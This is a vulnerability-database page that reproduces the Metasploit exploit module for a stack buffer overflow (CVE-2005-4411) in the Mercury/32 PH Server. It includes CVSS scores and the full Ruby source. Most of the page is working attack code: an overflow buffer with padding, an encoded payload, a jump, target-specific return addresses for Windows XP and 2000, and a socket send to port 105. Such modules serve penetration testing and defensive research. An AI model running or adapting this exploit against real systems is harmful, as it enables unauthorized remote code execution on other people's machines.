Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-WINDOWS-MISC-MERCURY_PHONEBOOK-
HistoryOct 15, 2006 - 7:58 a.m.

Mercury/32 PH Server Module Buffer Overflow

2006-10-1507:58:48
www.rapid7.com
6

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

This module exploits a stack-based buffer overflow in Mercury/32 <= v4.01b PH Server Module. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mercury/32 PH Server Module Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in
        Mercury/32 <= v4.01b PH Server Module. This issue is
        due to a failure of the application to properly bounds check
        user-supplied data prior to copying it to a fixed size memory buffer.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-4411' ],
          [ 'OSVDB', '22103'],
          [ 'BID', '16396' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2005-12-19',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(105)], self)
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit =  rand_text_alphanumeric(224, payload_badchars)
    sploit << payload.encoded + "\xeb\x06" + make_nops(2)
    sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"

    sock.put(sploit)

    handler
    disconnect
  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

Related for MSF:EXPLOIT-WINDOWS-MISC-MERCURY_PHONEBOOK-